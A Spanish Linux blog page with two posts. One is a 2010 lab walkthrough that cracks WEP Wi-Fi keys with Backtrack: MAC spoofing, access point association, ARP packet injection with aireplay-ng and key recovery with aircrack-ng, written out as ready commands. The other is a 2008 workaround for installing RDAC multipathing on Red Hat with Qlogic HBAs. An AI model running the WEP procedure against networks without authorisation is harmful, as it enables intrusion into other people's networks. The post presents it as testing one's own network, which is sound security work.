VIDANEZ SITE » LINUX

Laboratorio: Prueba de concepto. Crackear claves WEP usando Backtrack

Juan José Vidañez — Wed, 24 Feb 2010 17:59:29 +0000

A continuación comparto una prueba de concepto para nuestras redes wifi de tipo WEP. En ningún caso aconsejo usar esto para una red Wifi que no sea de nuestra propiedad.

El CHIP de wireless es el INTEL PRO/Wireless 3945ABG Network

Nota: los comandos os los paso en forma de script para que podáis crear ejecutables con ellos, o sueltos y ejecutáis uno a uno

Comenzamos:
Tenemos que cambiar los drivers de la tarjeta ya que no soportan modo promiscuo. En el backtrack viene unos que nos interesan

Script: “ipw3945i.sh”

#!/bin/bash
echo “[*] Removing IPW3945 drivers”
rmmod ipwraw
rmmod iwl3945
rmmod mac80211
echo “[*] Inserting IPWRAW drivers (raw mode)”
modprobe ipwraw

Lanzamos :

iwconfig

Vemos cual es la tarjeta wifi, en mi caso es wifi0 continuo usandola como ejemplo.
Me cambio la MAC , este es un numero de cada “tarjeta del mundo”. Tambien podemos cambiarnos la MAC para imitar una que este conectada en la nuestra red.

ifconfig wifi0 down
macchanger –mac 00:10:20:30:40:50 wifi0
ifconfig wifi0 up
ifconfig wifi0

En este punto podemos usar “Backtrack->Wireless Tools -> Analyzers ->Kismet” para elegir la red a la que atacar, o usar los comandos:

airmon-ng start wifi0
airodump-ng wifi0

El software este se puede tambien ordenar como el kismet pero la verdad nunca lo he intentado, aconsejo un vistazo al man para ver que tal ….
Una vez elegida la red a la que atacar haces un “CRTL+C” en esa ventana para que pare. Apuntas el bssid (MAC), el essid (NOMBRE) y channel (CANAL).

En otra ventana de shell que abriremos y dejaremos lanzado el comando, para monitorizar esa red elegida para atacarla:

airodump-ng -c $CHANNEL -w $ESSID –bssid $BSSID wifi0

Rellenando los datos de los que hemos recogido antes ($). Si el essid tiene espacios lo pones entre comillas.

En otra venta de shell comenzamos el ataque en si.

Nos asociamos al AP, con el comando rellenado ($) el dato recopilado antes:

aireplay-ng -1 0 -a $BSSID -h 00:10:20:30:40:50 wifi0

Aqui es normalmente cuando puede fallar el invento ya que no le guste nuestra fakeMAC (00:10:20:30:40:50) al AP. Tendremos que cambiarla en caso necesario.

Ahora comenzamos a meterle paquetes rellenado los datos necesarios ($):

aireplay-ng -3 -b $BSSID -h 00:10:20:30:40:50 wifi0

Cabe la posiblidad de que de golpe nos dia algo asi como “notice: got a deauth/disassoc packet. Is the source MAC associated ?" Eso es simplemente que tenemos que volver a lanzar la asociacion en otra shell, porque el router o AP se ha percatado de nuestro ataque y nos ha dado la patadita.

Y si todo es correcto solo nos queda esperar a que los ARP nos vayan subiendo. Es necesario unos 100.000 o 200.000 dependiendo si la pass es de 64bits o 128bits. Esta es la parte de paciencia, si no estuvieramos metiendole paquetes con el aireplay tendriamos que esperar conexiones en la red.

Read 129275 packets (got 54575 ARP requests and 70947 ACKs), sent 83561 packets…(499 pps)

Una vez tenemos eso ya veremos que en el sistema tendremos unos ficheros del nombre de la essid con extension “.cap” en el directorio en el que estábamos.
Pues realizamos rellenado los datos ($):

aircrack-ng -n 64 –bssid $BSSID $ESSID.cap

Para crackear una pass 64bit. El resultado nos viene como grupos de 2 separados por “:” quetamos los “:” y el chorizo se lo podemos poner directamente al windows.

aircrack-ng -n 128 –bssid $BSSID $ESSID.cap

Para cargarnos una de 128bit, y el resultado seria el mismo que anteriormente.

El backtrack esta disponible en http://www.remote-exploit.org/

Espero que despues de esto puedas probar la seguridad de tu red y la importancia de usar protocolos más seguros.

"No module qla2300 found" o "No module qla2400 found"

Vidanez — Tue, 14 Oct 2008 10:00:08 +0000

Entorno

HARDWARE:

Servidor X8420

4 x AMD Dual Core 2,4Ghz

RAM 8 GB

2 x 73 GB

Tarjeta PCI Qlogic Dual Port SG-XPCIE2FC-QB4-Z

STORAGE — STORAGETEK FLX 380

SOFTWARE:

OS: Red Hat AS 4 Update 4 i386

Driver de Qlogic:

Author: QLogic Corporation

Description: QLogic Fibre Channel HBA Driver

Version: 8.02.08 D99C39AD843810FABC4857E

Síntomas:

Cuando queremos instalar el gestor de multipathing RDAC versión 09.01.B2.31 la respuesta del sistema es:

No module qla2300 found

No module qla2400 found

Este problema esta reportado de forma similar con otro sistema operativo superior en un Bug de SUN:

Document ID:    6654423
Title:    RDAC install fails. Rhel5_U1 with "No module qla2300 found" using out of box qla driver V8.01.07-k7
Copyright Notice:    Copyright © 2008 Sun Microsystems, Inc. All Rights Reserved
Update Date:    Mon Jan 28 00:00:00 MST 2008

Sin ninguna solución hasta el momento.

SOLUCIONES

Opciones alternativas

Actualizar Driver de Qlogic a la versión 8.02.14 superior a la nuestra. No nos sirvió de nada ya que nuestro sistema operativo no parece reconocer los dispositivos una vez implementado este driver.

Usar “device-mapper-multipathing” es una opción alternativa a RDAC, pero desgraciadamente no está soportado por la librería Sun Storagetek 6540 alias Storagetek FLX380

Workaround generado

En principio si miramos la salida del comando “lsmod”

Module Size Used by

hangcheck_timer 7641 0

md5 8001 1

ipv6 241761 28

oracleasm 48020 1

autofs4 22725 0

acpiphp 28245 0

sunrpc 143397 1

joydev 14209 0

dm_mirror 31645 0

dm_mod 60357 1 dm_mirror

sr_mod 20709 1

usb_storage 62217 1

button 10449 0

battery 12869 0

ac 8773 0

ohci_hcd 23889 0

ehci_hcd 32069 0

e1000 109113 0

ext3 118729 5

jbd 59609 1 ext3

mppVhba 108032 11

qla2xxx 969812 4

qla2xxx_conf 305924 1

lpfc 158269 0

scsi_transport_fc 12097 1 lpfc

mptsas 13389 6

mptscsi 44125 1 mptsas

mptbase 61345 2 mptsas,mptscsi

sg 38113 0

sd_mod 20545 29

scsi_mod 117709 11 sr_mod,usb_storage,qla2xxx,lpfc,scsi_transport_fc,mptsas,mptscsi,sg,sd_mod

Vemos que el driver está cargado como “qla2xxx” que incluye todos los modelos de qla2xxx en modo de alias, esto lo podemos ver en el fichero “/etc/modprobe.conf”:

alias scsi_hostadapter mptsas

alias scsi_hostadapter1 lpfc

alias usb-controller ehci-hcd

alias usb-controller1 ohci-hcd

install qla2xxx /sbin/modprobe qla2xxx_conf; /sbin/modprobe –ignore-install qla2xxx

remove qla2xxx /sbin/modprobe -r –first-time –ignore-remove qla2xxx && { /sbin/modprobe -r –ignore-remove qla2xxx_conf; }

options qla2xxx ql2xfailover=0

alias qla2100 qla2xxx

alias qla2200 qla2xxx

alias qla2300 qla2xxx

alias qla2322 qla2xxx

alias qla2400 qla2xxx

alias scsi_hostadapter2 qla2xxx_conf

alias scsi_hostadapter3 qla2xxx

Con esto cualquier cosa que preguntara al sistema por uno de estos módulos debería ser redirigido al modulo principal “qla2xxx”

Sin embargo la instalación de RDAC no parece aceptar este comportamiento y no da continuamente un error.

La solución es darle a RDAC lo que pide de manera que podamos engañarlo e instale porque al fin y al cabo los dispositivos y sus WWN son visibles.

ATENCIÓN: Realizar todos los pasos desconectando la fibra y reescaneando el sistema sin conexión a la SAN puesto que si no los reinicios con los discos sin sistema de fichero pueden llegar a tardar 2 horas.

Para cargar los módulos “falsos” necesitamos encontrar los que nos ha generado la instalación del driver de qlogic. Para ello usamos los comandos “find” o “locate”. En mi caso:

# updatedb

# locate qla2300.ko

# locate qla2400.ko

Con el output de estos comandos sabremos donde se encuentran situados los ficheros que necesitamos.

Con el comando “uname -r” vemos cual es la versión de kernel que usamos en mi caso “2.6.9-42.ELsmp”.

Copiamos los ficheros “qla2300.ko” y “qla2400.ko” a un path para modulos de drivers del kernel que estamos usando desde el origen que encontramos en el paso 1.

En mi caso:

# cp qla2*.ko /lib/modules/2.6.9-42.EL/kernel/drivers/scsi/qla2xxx/

Modificamos el fichero “/etc/modprobe.conf” para que el kernel intente cargar estos módulos. De la siguiente forma:

alias scsi_hostadapter mptsas

alias scsi_hostadapter1 lpfc

alias usb-controller ehci-hcd

alias usb-controller1 ohci-hcd

install qla2xxx /sbin/modprobe qla2xxx_conf; /sbin/modprobe –ignore-install qla2xxx

remove qla2xxx /sbin/modprobe -r –first-time –ignore-remove qla2xxx && { /sbin/modprobe -r –ignore-remove qla2xxx_conf; }

options qla2xxx ql2xfailover=0

alias qla2100 qla2xxx

alias qla2200 qla2xxx

alias qla2300 qla2xxx

alias qla2322 qla2xxx

alias qla2400 qla2xxx

alias scsi_hostadapter2 qla2xxx_conf

alias scsi_hostadapter3 qla2xxx

alias scsi_hostadapter4 qla2300

alias scsi_hostadapter5 qla2400

Aplicamos los cambios a la imagen de arranque del kernel de Linux y reiniciamos para comprobar todo aunque podríamos cargar los módulos directamente:

cd /boot

cp -f initrd-2.6.9-42.ELsmp.img initrd-2.6.9-42.ELsmp.img.bak

mkinitrd -f initrd-2.6.9-42.ELsmp.img 2.6.9-42.ELsmp

init 6

Veremos unos errores de estos módulos durante el arranque, normales ya que hemos puesto unos módulos inservibles y no tenemos que hacer caso. Nuestros módulos cargados y viéndolos por el comando “lsmod” serán:

Module Size Used by

hangcheck_timer 7641 0

md5 8001 1

ipv6 241761 28

oracleasm 48020 1

autofs4 22725 0

acpiphp 28245 0

sunrpc 143397 1

joydev 14209 0

dm_mirror 31645 0

dm_mod 60357 1 dm_mirror

sr_mod 20709 1

usb_storage 62217 1

button 10449 0

battery 12869 0

ac 8773 0

ohci_hcd 23889 0

ehci_hcd 32069 0

e1000 109113 0

ext3 118729 5

jbd 59609 1 ext3

mppVhba 108032 11

qla2xxx 969812 4

qla2xxx_conf 305924 1

lpfc 158269 0

scsi_transport_fc 12097 1 lpfc

mptsas 13389 6

mptscsi 44125 1 mptsas

mptbase 61345 2 mptsas,mptscsi

mppUpper 88384 1 mppVhba

sg 38113 0

sd_mod 20545 29

scsi_mod 117709 11 sr_mod,usb_storage,qla2xxx,lpfc,scsi_transport_fc,mptsas,mptscsi,sg,sd_mod

Por tanto vemos que sigue siendo igual que antes.

Procedemos a instalar y comprobaremos que sin problemas RDAC con los comandos en orden:

# make clean

# make

# make uninstall

# make install

Veremos que aunque no tenemos los módulos cargados y la situación aparentemente en el OS es la misma, el error de “No module qla2???. found” desaparece.

Ya tenemos el RDAC instalado. Tal como nos dice al final de la instalación debemos modificar el fichero “/boot/grub/grub.conf” tal como nos explica el instalador de RDAC y reiniciamos con “init 6″. El mio queda de la siguiente forma:

# grub.conf generated by anaconda

# Note that you do not have to rerun grub after making changes to this file

# NOTICE: You have a /boot partition. This means that

# all kernel and initrd paths are relative to /boot/, eg.

# root (hd0,0)

# kernel /vmlinuz-version ro root=/dev/sda2

# initrd /initrd-version.img

#boot=/dev/sda1

default=0

timeout=5

splashimage=(hd0,0)/grub/splash.xpm.gz

hiddenmenu

title Red Hat Enterprise Linux AS with mpp (2.6.9-42.ELsmp)

root (hd0,0)

kernel /vmlinuz-2.6.9-42.ELsmp ro root=LABEL=/ rhgb quiet

initrd /mpp-2.6.9-42.ELsmp.img

title Red Hat Enterprise Linux AS-up (2.6.9-42.EL)

root (hd0,0)

kernel /vmlinuz-2.6.9-42.EL ro root=LABEL=/ rhgb quiet

initrd /initrd-2.6.9-42.EL.img

title Red Hat Enterprise Linux AS (2.6.9-42.ELsmp)

root (hd0,0)

kernel /vmlinuz-2.6.9-42.ELsmp ro root=LABEL=/ rhgb quiet

initrd /initrd-2.6.9-42.ELsmp.img

Una vez reiniciado el sistema se vemos que todos los módulos pertenecientes al RDAC están cargados correctamente. Para ello usamos el comando “lsmod”:

Module Size Used by

hangcheck_timer 7641 0

md5 8001 1

ipv6 241761 28

oracleasm 48020 1

autofs4 22725 0

acpiphp 28245 0

sunrpc 143397 1

joydev 14209 0

dm_mirror 31645 0

dm_mod 60357 1 dm_mirror

sr_mod 20709 1

usb_storage 62217 1

button 10449 0

battery 12869 0

ac 8773 0

ohci_hcd 23889 0

ehci_hcd 32069 0

e1000 109113 0

ext3 118729 5

jbd 59609 1 ext3

mppVhba 108032 11

qla2xxx 969812 4

qla2xxx_conf 305924 1

lpfc 158269 0

scsi_transport_fc 12097 1 lpfc

mptsas 13389 6

mptscsi 44125 1 mptsas

mptbase 61345 2 mptsas,mptscsi

mppUpper 88384 1 mppVhba

sg 38113 0

sd_mod 20545 29

scsi_mod 117709 11 sr_mod,usb_storage,mppVhba,qla2xxx,lpfc,scsi_transport_fc,mptsas,mptscsi,mppUpper,sg,sd_mod

Con estos pasos ya tenemos listo nuestro sistema con RDAC instalado. Ya solo nos quedaría darle las unidades redescubrirlas con comandos de qlogic y mapearlas con RDAC.

APÉNDICE 1 COMANDOS UTILES

mppBusRescan

Comando de RDAC para escanear los dispositivos de y asociar los WWN correspondientes de los multipathing

lsvdev

Comando de RDAC que nos da el hardware asociado a cada dispositivo del sistema en multipathing con su LUN correspondiente. Ejemplo:

Array Name Lun sd device

————————————-

FLX380SAAS 0 -> /dev/sdb

FLX380SAAS 1 -> /dev/sdc

FLX380SAAS 2 -> /dev/sdd

FLX380SAAS 3 -> /dev/sde

FLX380SAAS 4 -> /dev/sdf

mppUtil

Comando del paquete RDAC

-a

Muestra todos los arrays conectados

-g

Muestra la información del array dado dado por el id y los path a el de cada LUN. Ejemplo:

Hostname = XXXXX

Domainname = (none)

Time = GMT 09/22/2008 08:13:30

MPP Information:

—————-

ModuleName: FLX380SAAS SingleController: N

VirtualTargetID: 0×000 ScanTriggered: N

ObjectCount: 0×000 AVTEnabled: Y

WWN: 600a0b8000119ade0000000045d51e51 RestoreCfg: N

ModuleHandle: none Page2CSubPage: Y

FirmwareVersion: 6.15.16.0

ScanTaskState: 0×00000000

Controller ‘A’ Status:

———————–

ControllerHandle: none ControllerPresent: Y

UTMLunExists: N Failed: N

NumberOfPaths: 1 FailoverInProg: N

ServiceMode: N

Path #1

———

DirectoryVertex: present Present: Y

PathState: OPTIMAL

hostId: 2, targetId: 0, channelId: 0

Controller ‘B’ Status:

———————–

ControllerHandle: none ControllerPresent: Y

UTMLunExists: N Failed: N

NumberOfPaths: 1 FailoverInProg: N

ServiceMode: N

Path #1

———

DirectoryVertex: present Present: Y

PathState: OPTIMAL

hostId: 1, targetId: 0, channelId: 0

Lun Information

—————

Lun #0 – WWN: 600a0b8000119ade00005d8048c0acd0

—————-

LunObject: present CurrentOwningPath: A

RemoveEligible: N BootOwningPath: A

NotConfigured: N PreferredPath: A

DevState: OPTIMAL ReportedPresent: Y

ReportedMissing: N

NeedsReservationCheck: N

NotReady: N

Busy: N

Quiescent: N

Controller ‘A’ Path

——————–

NumLunObjects: 1 RoundRobinIndex: 1

Path #1: LunPathDevice: present

IoCount: 0

DevState: OPTIMAL

RemoveState: 0×0 StartState: 0×1 PowerState: 0×0

Controller ‘B’ Path

——————–

NumLunObjects: 1 RoundRobinIndex: 0

Path #1: LunPathDevice: present

IoCount: 0

DevState: OPTIMAL

RemoveState: 0×0 StartState: 0×1 PowerState: 0×0

-g | grep “Lun #”

Obtendremos solo los LUN y WWN de cada grupo de multipathing. Ejemplo:

Lun #0 – WWN: 600a0b8000119ade00005d8048c0acd0

Lun #1 – WWN: 600a0b8000119ade00005d8448c0acee

Lun #2 – WWN: 600a0b8000119ade00005d8748c0ad08

Lun #3 – WWN: 600a0b8000119ad80000da9e48c0ae89

Lun #4 – WWN: 600a0b8000119ad80000daa348c0aed7

Lun #5 – WWN: 600a0b8000119ade00005d8a48c0ad30

Lun #6 – WWN: 600a0b8000119ade00005d8d48c0ad48

Lun #7 – WWN: 600a0b8000119ade00005d9048c0ad8a

Lun #8 – WWN: 600a0b8000119ad80000da9948c0ae59

Lun #9 – WWN: 600a0b8000119ade00005d9648c0adb4

Lun #10 – WWN: 600a0b8000119ade00005d9c48c0adfe

-S

Muestra si algún camino ha fallado

-C

Escanea de nuevo el array

./ql-dynamic-tgt-lun-disc.sh -s -r

Alternativa al de QLogic a “scli” y “SANSurfer” con la sencillez de hacer todo en un paso. Antes tenemos que estar seguro que el sistema ve las HBA.